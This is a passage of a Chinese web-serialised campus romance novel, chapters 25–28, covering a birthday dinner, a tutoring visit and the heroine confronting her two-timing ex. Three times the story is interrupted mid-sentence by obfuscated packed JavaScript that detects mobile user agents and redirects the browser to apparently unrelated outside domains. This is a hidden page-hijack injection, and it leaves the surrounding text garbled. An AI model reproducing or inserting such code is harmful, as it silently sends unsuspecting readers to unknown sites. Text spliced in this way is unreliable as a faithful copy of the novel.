“我——”梁因被他的话噎了一下，“我哪有全程害怕，我就是只有黑灯的时候才稍微有点儿害怕吧……” “嗯，我没说你啊。”程臻点点头看着梁因，忽然勾起唇角笑了笑，“我说的是林砚。” 梁因：“……” 听见了自己名字的林砚凑了过来，看看程臻又看看梁因：“怎么了？叫我？” “没叫你。”程臻转过头去看他，“夸你帅呢。” “这么客气呢。”林砚一挑眉，冲他们两个乐呵呵地眨了眨眼睛，又转回去跟陶莹说话了。 点菜的重任被交给了今天的寿星，沈铭川直接点了个八人套餐，又添了两道特色菜，饮料则要了可乐和橙汁。 桌上唯二两个梁因之前不认识的是沈铭川和林砚的另两个室友，不过一起玩过密室之后便迅速生出了几分革命友谊，聊起天来也自在许多。 林砚他们定了个蛋糕，提前寄存在了店里，等吃的差不多了之后便让服务员拿上来，却没想到进来了好几个人，除了小推车上的蛋糕，其他几个手里拿着大大的五彩HappyBirthday灯牌。 沈铭川有点儿无奈地笑了，其他几个男生兴致勃勃，分工明确——有人把蛋糕拆开包装端到桌上，有人给他戴纸折的生日帽，也有人举着手机准备留下珍贵的影像资料。 一切准备就绪，服务员配合地打开音响唱起了生日快乐歌，还举起灯牌在半空中挥舞。 三个男生一边乐一边唱得大声，包厢里唱出了十几个人的架势，梁因目瞪口呆地跟周静雨对视，又看了看在一旁好整以暇围观的程臻。 “你们别愣着啊，快点儿加入！”林砚摆了摆手，扬声指挥干站着的三人。 梁因忍俊不禁，一边也加入了气氛组，一边转头看向沈铭川，见寿星本人一副不想承认自己认识这些人的样子。 程臻看着梁因，看她跟着音乐节奏拍手，还一边轻轻晃动身体，脑后的马尾轻快地一甩一甩，发梢在半空中勾出雀跃的弧度。 一曲终了，梁因在掌声里偏头问程臻：“他们……一直是这种风格的？” “什么？”程臻没听清，凑近了些微微前倾身体。 “我说，他们一直这样吗？” 梁因又问了一遍，脑袋也靠过去了些，马尾轻轻扫过程臻的肩膀。 她说话时沈铭川被簇拥着站在了中间，蛋糕被挪到了他面前的位置，而脑袋上生日帽则没被允许拿下来，说是拍照必需的道具。 “是啊。”程臻收回目光对上她的视线，勾了勾唇角。 “麻烦帮我们拍一下照片可以吗？”林砚叫住了一个正准备离开的服务员。 “可以啊。”女服务员欣然答应，接过了他递过去的手机。 “来来来，拍照，川儿大寿星站中间啊。”林砚摆了摆手招呼大家，随即也快步走了过来。 举着手机的服务员调整了一下距离，放下手机道：“大家再稍微站近一点儿吧？” “你再站过去点儿。” “来来来靠过来，挤一挤啊！” 大家连忙调整站位，梁因原本正挽着周静雨的手，站在她右侧的程臻忽然低低“诶”了一声，似乎是被挤到了，往她这边靠了过来，胸膛几乎贴上她的后背。 梁因还没做出什么反应，只觉得肩头同步一热，程臻稳住了脚步，一只手搭在她的的肩膀上，随即低下头，在梁因耳边低声说了句“抱歉”。 她差不多比他矮一头，虽然程臻有意控制着不贴她太近，可在这个动作下梁因几乎是整个人都靠在了程臻怀里，属于少年人的温热气息自身后环绕，她站在原地没动，心跳却不自觉地加速。 扑通扑通。 身后隔着两层衣服布料，他的心跳也无比清晰。 “大家准备哦，三二一，好的，我再拍几张哦——” 梁因抬起手比了个“耶”的姿势，拍完照之后大家便分散开来，程臻也迅速松开了扶着她肩膀的手，退到了安全距离之外。 “刚才——”程臻微微皱了皱眉，看向不太自然地捏着自己发尾的梁因。 “我知道，没事儿。”梁因冲程臻笑了笑，摇摇头。 “照片我发群里了，一共好几张全都原图直出，大家需要的话自取啊。”林砚举起手机冲大家示意。 梁因于是点开微信群聊，随手点开了一排照片里的最后一条——为了节省空间，程臻就站在她侧后方，而搭在她肩上看起来则像是把她搂在怀里一样。 是一个作为“男女朋友”，再正常不过了的合照姿势。 只是梁因看得不太自在，迅速缩小了照片退出聊天界面随机按下锁屏，一气呵成，又下意识瞥了一眼程臻。 “怎么了？”程臻注意到她的视线，微一挑眉，靠过来了一些。 “啊，也没什么，”梁因看着他，眨了眨眼睛，“就是，我那个，我忽然想起来，明天是周六，我要去给你弟弟上课来着。” 见程臻点点头，梁因又闲聊似的问他：“你明天回家吗？” “我——”程臻一句“不回”到舌尖转了个圈又咽了回去，停顿两秒，“也行，那明天下午一起？” 梁因点点头：“可以啊。” “行，那我等你。” 这之后便是往蛋糕上插蜡烛，许愿，大家又给沈铭川唱了一遍生日歌，随即分了寿星切的蛋糕，热热闹闹地过完了一场生日。 从商场出来的时候，外面天都黑了，要回学校的几个人一块儿叫了辆车， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439739|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了学校门口之后分开，说好了下回再约着一块儿玩。 “我有两个快递要拿，你有吗？” “我也有一个，艺姐也在群里问我们回来的时候方不方便帮她带个快递回去。”周静雨点点头，“刚好顺路，去拿一趟好了。” 梁因点点头：“好。” 两个女生挽着手往驿站的方向走，地上有被拉得长长的影子。十月中旬的夜晚正是散步的好时候，气温刚好，晚风也十分舒适。 “因因。”周静雨开口喊她。 “嗯？” “你跟程臻——”周静雨犹豫了一会儿，又开口道，“你们俩打算这样演多久呀？” 梁因一开始找程臻帮忙是因为陆子恒，后来则是有一次他们一起上课被他的同学撞见，程臻便刚好需要她帮着挡桃花，才慢慢变成了现在这个“人尽皆知”的状态。 “我——”梁因开了个口，顿了顿，“我也不知道。” “那你们两个，不如干脆真的发展一下呢？”周静雨眨着眼睛看她，语气里满是好奇，总算是把想问的问题说了出来。 “我跟他发展什么呀？”梁因笑了，“没可能的。” “怎么就没可能了？”周静雨并不赞同她的话，“他长得这么帅，人还挺好，怎么就不能考虑发展发展了？” 梁因笑了，转头对上她的目光，周静雨追问：“没想过？” 见梁因摇头，周静雨抬手扶了一下眼镜：“那可以稍微想一下嘛。” 梁因笑出了声，用手指戳戳她的手背：“你先把自己的恋爱谈明白再来关心我吧。” 周静雨被她调侃得不好意思：“我——” “哟。” 前方传来一道不咸不淡的声音，周静雨的话被打断，跟梁因一起循着声音看过去，见陆子恒拿着一个快递，正从驿站出来。 ……真是冤家路窄。 梁因收了笑，没好气地看他一眼，挽着周静雨准备绕过他走。 “来拿快递啊？”陆子恒笑了，跟梁因说话。 “我干什么跟你有什么关系？” “没什么关系啊。”陆子恒一耸肩，四下看了看才幽幽收回视线，“不过，你那个三好男友怎么不帮你拿快递啊？” 他阴阳怪气的语气听得梁因颇为无语地转开头笑了笑，跟周静雨对视一眼，不打算继续跟他说话，丢下一句“关你什么事”，便脚步不停地往驿站走了。 “他到底什么意思啊……”周静雨皱皱眉，“他这哪儿像是之前要追你啊，说跟你结过梁子还更像一点儿。” “谁知道他，也怪我当时眼神儿不好。”梁因叹一口气，跟周静雨排在了队伍末尾，拿出手机，“看看艺姐的快递取货码。” 点开微信，梁因还没点进群聊，目光便被通讯录右上角的小红点吸引。 她一挑眉，点进去看了，有人加她好友，昵称叫Estella，头像是一只马尔济斯，应该不是从什么群聊加的，验证消息只有一句“你好”。 “多少？”周静雨懒得拿手机，眼看着前面只有两个人了，凑过来问梁因。 “啊，我看看啊。”梁因回过神来应道，没通过好友申请，退了出去点开群聊，给周静雨报了取货码。 “行，那我帮她拿咯。” “好。”梁因点点头，这个好友申请没头没脑的，也有可能是别人输错手机号码了，便也没在意。 却没想到等梁因回到寝室，拆完快递洗完澡回来之后，这个Estella又给她发了一条好友验证。 Estella：你好，抱歉打扰了，请问你认识陆子恒吗？ 26. Chapter 26 次日是个阴天，一直到中午都不见太阳，气温比起前几天也低了几度，梁因于是准备多穿一件衬衫外套出门。 约定好的时间是下午两点，吃过饭梁因便开始收拾东西，一点十分的时候收到了一条来自程臻的消息，说是已经在她寝室楼下了。 还挺准时的——梁因拉上背包拉链，推门走上寝室阳台往下看了一眼。 程臻正斜倚着楼下的树站着，身上是他常穿的黑裤子白T恤，一边肩膀背着个黑色的包，就算是从梁因这个角度，也一眼就能看见他。 梁因于是很快收回脑袋，回到椅子上换了鞋，迅速地背上包拿上手机，跟室友打了招呼便出了门，下楼的时候给程臻回了条消息。 走出寝室楼时，程臻大概刚看到消息，抬眼看过来，梁因刚好往他这边走过来，还举起手笑着朝她挥了挥。 “我打车了。”程臻冲她抬了抬手机示意了一下，“还有三分钟，走到门口差不多。” 梁因点了点头，却见程臻的目光却还落在她脸上。 “怎么啦？我脸上有什么东西吗？” 两人一块儿往门口走去，程臻忽然问她：“今天怎么忽然戴眼镜了？” 梁因抬手扶了一下镜框，笑了：“哦，这样会显得我看起来更加睿智一点。” “那上次怎么没戴？” “你说试课那次吗？”梁因正色道，“因为那是第一堂课呀，要显得青春活力一点，才比较容易跟小朋友拉近距离。” 程臻没说话，一边走，一边偏头看她的脸。 梁因从他的沉默里察觉到了什么：“……所以，事实上完全没有这种感觉是吗？” 她语气和表情里的挫败郁闷太过明显，程臻没忍住笑出了声，走过闸机出了校门，把包往肩上掂了掂，转头看向梁因，轻轻挑眉端详她：“你要这么说的话——” “好吧，不用说了，我已经知道了。”梁因一摆手，夸张地叹了口气，“下次不戴了。” 程臻没有接话，两人走到校门口的路边，他垂眼看了看手机，车预计还有一分钟到达，只差一个红绿灯。 “其实小钧挺喜欢你的。”他又开口。 “嗯？”梁因转过去看程臻。 程钧很显然是喜欢梁因的，要不然也不会在头一次见面那晚，远远看见她站在路边时也同意程臻停车送她回学校，更不会在一面之缘后还记得她，在看到试课老师是梁因后眼睛发亮地高兴。 “他从小就这样。”程臻以为梁因不信，于是搬出了历史证据耐心解释，“特别看脸，在学校的时候就一直特别喜欢温柔漂亮的老师，在外面看到漂亮的哥哥姐姐也就——” 程臻话一顿，因为他注意到梁因的表情忽然间微妙了起来，先是有些意外地轻轻挑眉看着他，随即又抿了抿唇，似乎是有点儿忍不住想笑。 所以他是……觉得她好看吗？ 被人夸奖总是让人心情愉悦的，不过梁因没开口说什么，只是眨了两下眼睛看着程臻。 被梁因这么一瞬不错地盯着，后知后觉地反应过来自己刚才话里意思的程臻顿时生出了几分不自在和无措，转开了眼看见了什么，随即一抬手岔开了话题：“车来了。” “嗯，好。” 程臻替梁因拉开了车门让她先上车，然后也坐进了后座，关上门时跟司机师傅报了自己的手机尾号。再然后……两人便都没再开口，车厢里只有车载广播的声音。 梁因垂眼看了看手机，微信收到了一条新消息，就来自昨天新加她好友的那一位。 那个女生在梁因通过了好友申请后便第一时间自报家门，说自己叫宋璇，是陆子恒的女朋友。 他们是初中校友，高中则是同班同学，只是高考之后陆子恒考来了宜江大学，而宋璇则留在本地上大学，两人虽然异地，但一直保持着恋爱关系。 至于她怎么找到的梁因的联系方式……是因为陆子恒国庆回家，他们在一起的时候，宋璇无意间在他手机里看到了梁因的微信。 她说话很有礼貌，说自己纠结了许久，还是决定试着加一下梁因，想弄清楚是怎么回事。 宋璇说得含蓄委婉，但梁因很明白她的意思，也想起了那天撞见陆子恒陪一个女生去酒店的场景。 虽然梁因现在完全不想再跟陆子恒扯上任何关系，可想来想去，她还是觉得宋璇还是不应该被蒙在鼓里，于是便把自从跟陆子恒认识后，他装作单身来接近她的事情都跟宋璇说了，只是略去了他后来一直纠缠不清的部分。 毕竟自己也算是在不知情的情况下伤害到了她，梁因稍有些忐忑宋璇的反应，也不知道她会不会相信自己的话，却没想到她竟意料之外地十分平静。 宋璇：【……这样啊】 宋璇：【其实之前也有别的女生，但他说就是朋友，我总以为是我多心了】 宋璇：【我知道啦，不好意思啊，打扰你了】 梁因本想问她之后打算如何，文字输入到一半时犹豫了片刻，随即删去了输入框里的内容重新打字。 梁因：【对不起啊，我不知道他其实有女朋友了】 宋璇：【没事的，你不知情，本来就不能怪你的】 宋璇：【而且他很快就没有了】 梁因愣了愣，没有接宋璇这句话，思索两秒之后回复。 梁因：【那之后如果你有什么需要的话，就尽管来找我】 宋璇：【好的～】 两人昨晚的对话就到这里结束，而最新的一条消息是宋璇几分钟前发来的，告诉梁因她已经跟陆子恒明确地提出了分手。 梁因弯唇笑了，打字回复宋璇，身边则传来一阵塑料摩擦的声音，随即眼前伸过来一只手，掌心盛着几颗包装颜色不一的水果糖。 “薄荷糖，吃不吃？”程臻问她。 “啊，吃，谢谢。”梁因迅速地把消息发出去，笑眯眯地点点头，看向程臻手里的糖，选了一颗柠檬味的撕开吃了。 糖块在口腔里慢慢融化，细密的甜味伴着薄荷浓郁的凉意散开，清新提神。 车开到程臻家时糖也差不多吃完了，梁因把剩下一点糖块咬碎，在打车软件上输入了出发地和目的地，按照估价给程臻转了一半车费。 程臻已经下了车，站在旁边扶着车门等她下车，垂眼看了看收到的消息，随机抬眼看正从车里钻出来的梁因。 “给我转钱干什么？” 梁因站定，看他顺手关了车门：“车费呀。” “不用，我本来自己回来也要花这个钱。” “用的。”梁因跟他一起往小区走，照葫芦画瓢，“我本来自己过来也要花这个钱呀，就当拼车AA，也就一两杯奶茶钱。” 程臻刷开了门禁，让梁因先过去，闻言轻轻勾唇笑了笑：“那行。” 走到11号门口，梁因站在一旁乖乖等程臻打开铁门，随即跟他一起穿过院子，打开房门进屋。 程臻先换了鞋进去，给梁因拿了双拖鞋，钟娴听见门口的动静走了过来，见到程臻时有些意外地一愣：“小臻？你之前不是说这周不回家吗？” “要降温了，回来拿点儿衣服。” “要的要的，最近是慢慢冷下来了。”钟娴笑了，点点头，随即看向梁因，“小梁老师也一块儿来了呀？” 梁因乖巧应道：“是的钟阿姨，刚好程臻要回家，我们就顺路一起走了。” 钟娴笑眯眯地招呼她：“快进来吧，小钧这会儿在楼上写作业呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14457404|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “好。”梁因点头应了，随即看了程臻一眼。 程臻对上她的视线，点点头，又转向钟娴：“妈，那我就带她上楼了。” “嗯，你们去吧。” 程臻走在梁因前面，迈上在台阶几步之后，转过头去问梁因：“能喝冰的吗？” 梁因点点头：“可以。” “好。”程臻应一声，脚步停在程钧的房门口，抬手敲了两下。 程钧就跟等在门边儿似的，程臻手还没放下门就开了，见到门外两人眼前一亮：“哇！哥哥！你怎么回来啦！小梁老师！” 梁因笑着跟他打招呼：“你好呀。” 程臻笑着揉了揉程钧的脑袋：“写作业还是蹲墙角呢？” “我刚才在写作业呢——”程钧抱住了程臻的腰，眼珠子却盯着梁因看，“哇，姐姐今天戴眼镜了。” 空气很微妙地安静了一瞬，程臻清了清嗓子，拍拍程钧的胳膊：“行了，小梁老师都来了，好好上课。” 程钧“哦”了一声，乖乖地坐回了桌边，程臻随即把程钧的房间门打开到了最大，转向梁因：“我房间就在隔壁，有事儿微信，或者直接过来叫我。” “好。” 目送程臻回到自己房间，梁因笑眯眯地在程钧桌边的另一张椅子上坐下，拿起了提前让他准备好的作业看了起来，余光瞥见小男孩乖乖地趴在桌上，眨着眼睛看她。 程钧的目光完全不会让人觉得不舒服，反倒小心翼翼的，梁因莞尔，偏头看过去：“怎么这么看着我？” 听她跟他说话，程钧有点儿不好意思地坐直了，冲她嘿嘿笑了笑，没说话，随手拿了支水笔戳着下巴，另一头放在桌上就这样支着脑袋，眨巴着眼睛看她。 “好啦，”梁因推了一下眼镜，把作业放回了桌上，“那我们先把这份作业讲一下，既然从今天开始正式上课了，之后我会有一些要求和作业，我需要你认真完成，有什么特殊情况可以提前跟我说，不然我会告状哦——好不好？” “好！”程钧忙不迭点头，下一秒却又试探道，“那，可不可以少一点呀？” 梁因笑了：“放心，不会占用你太多时间的，但如果没有完成就另当别论咯。” “知道啦。”程钧慢吞吞地点了点头。 “好了，那我们从这份作业开始，一会儿我讲到的知识点你要记下来哦。”梁因点了点桌上的试卷，程钧又点了点头。 小孩的注意力没法保持很长时间，但起码刚开始的半个小时还是能集中的，梁因便从程钧的错题出发，仔细地讲了题目背后的知识点。 试卷正面很快讲完，程钧趁梁因翻试卷的功夫打了个大大的哈欠，身后的房门忽然被敲了两下。 “打扰一下，要不要休息两分钟？”程臻倚在门口，看起来是已经站了一会儿了，手里提着奶茶的外卖袋子冲书桌旁的两人示意，“刚点的饮料，犒劳一下小梁老师和小钧同学。” “奶茶！”程钧眼前一亮，从椅子上跃下便跑了过去。 “这是你的，这是小梁老师的。”程臻让程钧把两杯饮料都拿了过去，自己提着袋子，跟过来把吸管放到了桌上。 “我也有啊？”梁因抬眼看他。 “当然，小钧还是借了你的光。”程臻勾了勾唇，“平时爸妈不怎么让他喝饮料，今天你在，他也能顺便喝一杯。” 说完，程臻又扭头叮嘱已经插上吸管开喝了的程钧：“太凉了，慢点儿喝知道吗？” 捧着奶茶杯的程钧连忙点头。 梁因笑了：“谢谢。” “不客气，你们继续。”程臻说完便离开了房间，梁因收回目光，垂眸看了看她面前那杯饮料标签——杨枝甘露，半糖，去冰。 27. Chapter 27 “好啦，那今天就先讲到这里。”梁因看了一眼时间，拖堂了十分钟左右，“你看看还有哪什么地方不清楚的，有什么问题吗？” “暂时没有。”程钧托着脸颊想了想，“那小梁老师，平时我要是有问题可以找你吗？” “当然可以呀。”梁因干脆地点点头答应下来，下一秒才想起什么，对上程钧的视线，“你有手机吗？” “有的，但是爸爸妈妈平时不让我用。” “这样的话，你妈妈有我的微信，平时有问题的话，可以借用一下妈妈的手机联系我。”梁因道，“哥哥也有。” 程钧点了点头，余光瞥见什么，转向门口：“妈妈！” 钟娴出现在门口，冲梁因笑了笑：“怎么样？下课了吗？” “下课啦！”程钧跳下椅子跑了过去。 “小梁啊，外面下雨了，挺大的，你要是不着急的话就稍等一会儿再走吧？”钟娴又道。 下大雨了吗？刚才确实隐约听见了窗外的淅沥雨声，梁因转向窗户，程钧则跑过去拉开窗帘，只见外面大雨倾泻而下，没风，但雨势仍不可小觑。 “那也好。”天气预报只说了阴天，梁因没带伞，点了点头又看向程钧，“那我就给小钧再看一会儿作业好了。” “妈妈！”程钧不乐意了，生怕妈妈同意，摆出一副上课上累了的样子，“刚刚上完课，让小梁老师休息一下嘛！” 钟娴哪里看不出是程钧自己想偷懒，笑着摸了摸他的头，放他下楼看电视去了，自己则留下来跟梁因聊了聊程钧的情况，问了些平时能用上的材料和学习方法。 程钧在楼下安分了没一会儿便“蹬蹬蹬”跑上楼来找哥哥，软磨硬泡把程臻拉出了房间陪自己。 路过正跟钟娴说话的梁因，程臻跟她对视一眼，脚步停了停：“外面雨下得挺大的，一会儿我送你？” “不用。”梁因连忙摆手，“不麻烦你了，我自己打车回去就行。” 程臻应了一声，又问道：“带伞了吗？” 这回梁因摇了摇头：“没有。” “那我去给你拿一把，放门口，你记得拿。” “好，谢谢。” 他们说话的时候，程钧乖乖扒着门框听着，只露出一颗脑袋，之后程臻去拿雨伞的时候也像小尾巴似的跟在后面。 钟娴听取了梁因的建议下单了单词书，又给她结了款，两人一起下楼的时候，便看见程钧贴着程臻坐在沙发上看动画片。 “小梁老师！”程钧抬手招呼梁因，趁着雨大陪他看一会儿电视。 一集动画片放到了片尾，眼瞧着雨小了些，梁因便起身准备回去，跟程钧打了个招呼。 “我看外面雨小了点儿，就先走啦，下周再见哦！” “小梁老师拜拜！”程钧坐在沙发上跟梁因挥了挥手，余光却瞥见程臻站了起来，于是也跟着蹦了起来。 “记得拿伞，路上注意安全。”程臻的目光落在梁因身上。 “嗯，我知道。”梁因拿起了程臻给她准备的黑色长柄伞，点点头看他，“你的伞我后天还你哦。” “好。”程臻目送梁因走到大门口，钟娴一边跟她说话一边帮她开门，随即注意到站在自己身前的人仰起头看着自己。 “哥哥。”程钧喊他。 程臻垂眼：“嗯？” “小梁老师说你有她的微信，我以后要是有问题，可以用你的手机找她吗？” “我有时间的话就可以。” “好耶！” “别好耶了，动画片都已经看完一集了，休息好了吧？”程臻勾起唇角笑起来，“刚才上课讲的东西都记住了没有？趁热打铁去复习一下。” 程钧虽然有点儿不情不愿，但还是乖乖上了楼，钟娴笑眯眯地走过来，把手里的水杯递给程臻：“我平时喊几次小钧都拖拖拉拉的，你一说就听话了。” 程臻伸手接过，转头抬眼看了看程钧房间的方向，笑了笑没接话。 钟娴的手指摩挲着杯子，语气状似随意地开口道：“小臻啊，你跟小梁，你们关系好像还可以啊？” 程臻微一挑眉，点了点头：“她就是我朋友。” 他不确定钟娴的意思，又补充道：“她挺好的，您要是有什么想了解的，直接问她就行。” “妈妈不是这个意思。”钟娴顿了顿，再开口时换了个话题，“你之前说要带点厚衣服去学校对吧？要不要拿个行李箱装？要是不好拿，妈妈给你寄到学校去？” “没事儿，不用麻烦，我自己带几件就行，不够的我下周再回来拿。”程臻摇了摇头，“那我就先上楼了。” “那也好，去吧，有什么需要就跟妈妈说。” “好。” - 整个周末都阴雨连绵，直到周日晚间才停。 一场秋雨一场凉，气温也因为这场雨急降不少，梁因周一换上了长袖卫衣，出门上课时地面都还是湿的，路上还有不少小水坑。 出门前，梁因把程臻的伞折好装在包里，在选修课的时候还给了他。 程臻伸手接过，拿在手里看了看，勾唇轻笑一声。 梁因有些摸不着头脑：“你笑什么？” “你平时收伞都折成这样？”程臻没直接把伞收起来，而是拿在手里端详，伞被梁因仔仔细细地叠好，工整得像是刚从店里买回家的程度。 “差不多吧。”梁因眨了眨眼睛，“我觉得收伞叠伞很解压的，折成这样特别爽。” 程臻抬眼看她，梁因以为他不信，用力点了点头，证明自己说的是真话。 “真的，不信下回你也试试。” 程臻倒真被梁因的话勾起了点儿好奇心，轻轻抛了一下手里的伞又接住，装回了包里。 “行，下回我试试。” 这节选修课程臻一半都用来整理笔记或者写作业，时间过得很快，注意到前排同学开始慢吞吞收拾东西时，他看了看时间，距离下课差不多还有五分钟。 程臻转头看梁因，她面前摆着一张英语的试卷，撑着脸颊在阅读文章里勾勾画画，嘴里无声地念念有词，时不时停下，抬头听会儿老师讲课。 注意到程臻的目光，梁因目光移过来，用嘴型问他——怎么了？ 程臻也没开口，按亮手机锁屏冲她示意了一下，又摊开另一只手比划了个“五”。 梁因很快反应过来，小幅度伸了个懒腰，收起试卷，往后靠在椅背上看台上老师讲ppt，手上则一样一样开始收拾东西。 下课铃响时梁因刚好收得差不多了，拉上拉链起身，跟程臻一前一后走出教室，迎面看见陆子恒倚着栏杆等他们。 他看了程臻一眼，没跟他说话，径直走到梁因面前：“聊聊。” 程臻皱起眉，上前一步刚想开口，梁因却忽然拉住了他的衣袖，小幅度地晃了晃，等他看过来时轻轻摇了摇头。 “没事儿，今天我应该知道他找我是想要说什么。”梁因小声说道，“你先回去吧，不用等我了。” 程臻看看梁因又看看陆子恒，后者没什么表情，于是他又把目光转了回来：“你确定？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14472332|151946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁因点点头。 她既然都这么说了，程臻也没坚持，又看了陆子恒一眼，便背着包先转身离开了。 “找个人少的地方吧。”梁因抢先开口，解锁手机看了看时间又揣回口袋里，“刚好有时间慢慢说。” 选修课的教室楼层高，靠楼梯的区域人不多，梁因和陆子恒挑了个靠楼梯的角落，没什么人，正好适合说话。 “好了，说吧。”梁因停下脚步看着他。 “我要说什么你不知道？”陆子恒冷笑了一声，“你自己做了什么说了什么心里没数？” 梁因一耸肩：“我说了什么？我做了什么？我不知道啊。” “你不知道？你敢承认你没有跟宋璇说过什么？” “宋璇是谁？” 陆子恒显然不信：“你别装傻，要不是你，她怎么会忽然就要跟我分手？” “跟你分手？她是你女朋友吗？”梁因看着他，“可是我认识你的时候你一直说自己是单身啊，怎么忽然就有女朋友了？所以说，那次你骗我生病，其实跟一个女生在街上搂搂抱抱还去了酒店，那个女生其实是你女朋友？” 陆子恒皱起眉：“你别跟我扯这些没用的——” 梁因打断他的话：“什么叫没用的？我只是陈述了之前的一些事实而已吧？你不承认吗？” “都说了是之前，你现在揪着不放有什么意思？”陆子恒眉头皱得更深，“当时是你说不想跟我再有关系了，都没关系了现在多管闲事又是什么意思？” 梁因眨眨眼镜：“当时是什么时候？是你假装单身说喜欢我，要追我的时候吗？” 陆子恒看着她，不知道在想些什么，沉默几秒之后忽然笑了：“怎么？后悔了？现在回过味儿来又觉得我好了？” “后悔？确实是有点儿。”梁因一挑眉，“后悔我之前眼光实在不太行，没看出来你其实是什么样的人。” 陆子恒黑了脸：“你什么意思？” 梁因觉得他莫名其妙：“字面意思啊，不然呢？你以为我后悔没答应跟你在一起，让你能在老家有一个女朋友，学校又有一个女朋友？” “你——” “陆子恒，我是真的不想和你有什么关系了。”梁因轻吐一口气，语气随即淡了下来，“是，我是跟宋璇聊过，我也只是跟她说了一些实话而已，她为什么要跟你分手你自己知道，何必再来找我？” “那你敢说你不是故意跟她说这些的？” “我当然是故意的，但我也没说错什么吧？”梁因坦然看他，“你希望我跟她说什么？说你其实是个好人，坚持不懈，假装单身被我发现还锲而不舍地纠缠我？” “梁因，亏我之前还真的挺喜欢你的——说起来，谁知道你是不是早就跟程臻搞在一起了，一边还装纯情吊着我，现在又打算把事情都怪到我头上？”陆子恒的脸色难看，“你就比我好到哪儿去？” 他的逻辑听得梁因目瞪口呆，正想开口，身后传来一个声音。 “不好意思啊，我本来没有想参与的意思，但既然你们提到了我，我想还是出来说一句。”开口的是程臻，一边说话，一边从拐角慢悠悠地走出来。 他的包斜背在一边肩膀上，跟梁因对视一眼后走过来，抬手搭上了她的肩膀，虚虚把人圈进怀里，一个维护意味十足的姿势。 “我追了她很久了，你不知道而已。”程臻看向面前的陆子恒，“她又不像你，已经有女朋友了还想找第二个，她只是在两个追求者里选了一个各个方面都更优秀的而已，很合理吧？” 28. Chapter 28 梁因没想到程臻还没走，有些意外地看他，注意力从面前气急败坏的陆子恒身上挪走了一大半。 “你怎么没走啊？” “把你丢在这儿，我一个人走？怎么可能，你以为我是谁啊？”程臻一挑眉，说话的声音足以让陆子恒清晰可闻，说完还意有所指地抬头看了他一眼。 陆子恒咬着牙深吸了一口气：“你——” “就这样吧，陆子恒，我真的不知道你这样到底还有什么意义。”梁因也没了耐心，干脆利落地开了口，“从现在开始咱们井水不犯河水，行不行？” “你说什么就是什么？就这么算了？”陆子恒冷着脸看她。 “那你还想怎样？”梁因看着他，沉默几秒，忽然没来由地想起一开始认识陆子恒的时候他的样子，却实在没法把当时那个模样和现在眼前的人联系到一起。 她忽然就失掉了所有耐心，甚至生出几分烦躁。 于是梁因解锁了手机，垂眼看了看屏幕，点了几下之后开口：“那也行啊，我们就找其他同学来评评理。” 陆子恒还没反应过来她什么意思，下一秒从她举着的手机里传出了声音—— “你自己做了什么说了什么心里没数？……” 这显然是刚才陆子恒自己的说的话，他这才意识到，梁因把他们的对话全都录了下来。 梁因观赏了两秒陆子恒的表情变化，勾唇牵起一个笑。 “我刚才从教室出来的时候就开始录音了，一句不落。”梁因按了暂停，“我们可以去年级群里找人评理，也可以在表白墙上让全校同学评理，或者你需要更权威一些的也没问题，我也抽空可以写邮件麻烦一下你的老师或者辅导员，都可以——你觉得呢？” 陆子恒深吸了一口气瞪着梁因：“……你威胁我？” 梁因挑眉：“威胁多难听啊，我只是想解决问题而已。” 事实上，她并不觉得这条录音真的能起到什么实质性的作用，但梁因猜测，对于陆子恒这样一个既自大又要面子的人来说，如果她真的把它挂到年级群或者表白墙上，想必还是足够让他丢脸的。 陆子恒没有立刻开口，梁因趁机重复了自己的诉求：“之前的所有事情就当作都没有发生过，我们从现在开始就不认识，那么我可以保证这条录音不会再有第三个人听到或者知道——怎么样？” 程臻清了清嗓子，轻轻捏了捏梁因的肩膀，她转头对上他的目光：“……哦，不会再有第四个人。” 陆子恒看了一眼程臻，随即又把目光转向梁因，咬着牙斟酌几秒：“可以，但你要把录音删了。” “删了？你是在跟我谈条件吗？”梁因回视，“但是你好像没有什么资格吧？” “梁因你不要太过分了！” “我很过分吗？”梁因转头看程臻。 “好像是稍微有点儿。”程臻捻起一缕梁因的头发戴绕在手指上玩儿，“不过也还行。” 陆子恒被他俩的一唱一和气得不行，偏偏梁因手里还有录音，虽然未必对他构成什么具体的影响，但要是真的被传播出去…… “你怎么保证你不会发出去？” “我觉得我的人品还不错。”梁因思索了一下，随即又说道，“而且你除了相信我，也没什么别的选择了吧？” 空气凝滞，陆子恒打量着梁因，沉默地判断她是否可信，程臻忽然放掉了手上梁因的头发，轻轻“啧”了一声。 “就这点事儿还要考虑这么久？”程臻有些不耐烦地挑眉，“还是说，你对我女朋友还有什么其他想法？” 